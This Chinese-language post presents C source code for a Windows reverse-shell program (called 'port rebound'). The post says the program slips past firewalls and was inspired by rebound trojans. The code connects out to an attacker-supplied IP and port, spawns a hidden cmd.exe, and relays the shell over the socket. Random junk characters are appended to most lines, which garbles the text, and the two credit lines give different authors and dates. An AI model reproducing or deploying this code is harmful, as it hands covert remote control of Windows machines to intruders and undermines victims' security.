Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 8:Jc2K  
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/* ============================== ]0@ J)Z09  
Rebound port in Windows NT fK9wr@1  
By wind,2006/7 JiHk`e`  
===============================*/ eRwm>l"fVV  
#include ^Ea^t.c}_  
#include i<uk}  
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#pragma comment(lib,"wsock32.lib") )@.6u9\  
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void OutputShell(); I
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SOCKET sClient; ,O
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h*zHmkFR  
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void main(int argc,char **argv) 2sqNTuO6,|  
{ gPM<LO`;i  
WSADATA stWsaData; )XL}u4X  
int nRet; }^3ICwzm  
SOCKADDR_IN stSaiClient,stSaiServer; MF~Tr0tOC  
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if(argc != 3) 0
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{ f{u3RCfX~2  
printf("Useage:\n\rRebound DestIP DestPort\n"); &H@OLyC  
return; )3KQ QGi8  
} "DNiVL.  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Nm=\~LP90  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [H2"z\\u  
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stSaiClient.sin_family = AF_INET; g_t1(g*s  
stSaiClient.sin_port = htons(0); roG f &  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); n g?kl|VG  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :f58JLX  
{ M%Dv-D
{  
printf("Bind Socket Failed!\n"); qHQ#^jH  
return; xp"5L8:C  
} JRl`evTS  
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stSaiServer.sin_family = AF_INET; 4XL]~3 c  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  MfNguh  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "~zQN(sR"P  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) J+6bp0RIh  
{ /6@Wm?`DB  
printf("Connect Error!"); H-aSLc  
return; WAt| J2  
} /5c;,.hm1R  
OutputShell(); ]f"l4ay@M  
} $s-HG[lX[  
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void OutputShell() G_UxR9Qo  
{ n9Xssl0  
char szBuff[1024]; LlfD>cN  
SECURITY_ATTRIBUTES stSecurityAttributes; rG|*74Q]  
OSVERSIONINFO stOsversionInfo; b!Z-HL6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; l^ aUN  
STARTUPINFO stStartupInfo; <rs"$JJV  
char *szShell; w$5#jJX\  
PROCESS_INFORMATION stProcessInformation; 3d|n\!1r  
unsigned long lBytesRead; :. ja~Q  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0au\X$)Q  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7VQk$im399  
stSecurityAttributes.lpSecurityDescriptor = 0; WhHnF*I  
stSecurityAttributes.bInheritHandle = TRUE; z rV  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,3`RM$  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); AK*F,H9  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _jW}p-j  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H,!3s<1  
stStartupInfo.wShowWindow = SW_HIDE; szy^kj^2  
stStartupInfo.hStdInput = hReadPipe; 9"YOj_z  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; S%7^7MSqA  

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GetVersionEx(&stOsversionInfo); .v3~2r*&  
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switch(stOsversionInfo.dwPlatformId) T]%:+_,  
{ phA^ kdW  
case 1: $m;rOKVU  
szShell = "command.com"; pU|SUM  
break; l}$Pv?T,2  
default: /J"U`/ {4  
szShell = "cmd.exe"; [z1[4  
break; T53|*~u  
} /Af:{|'$%  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); P'4j
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send(sClient,szMsg,77,0); <d\Lvo[  
while(1) \666{.a  
{ uZ-yu|1  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6-@ X  
if(lBytesRead) Y!6,ty'  
{ ]~SOGAFW  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); JPX5Jm()  
send(sClient,szBuff,lBytesRead,0); <XV\8Y+n  
} P2S$Dk_<\X  
else av&4:O!  
{ _[,oP s:+  
lBytesRead=recv(sClient,szBuff,1024,0); 'Zdjd]  
if(lBytesRead<=0) break; xi]qdiA  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); I3A@0'Vm;L  
} Rmrv@.dr!  
} (\ze T5  
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return; y/ #{pyJ  
}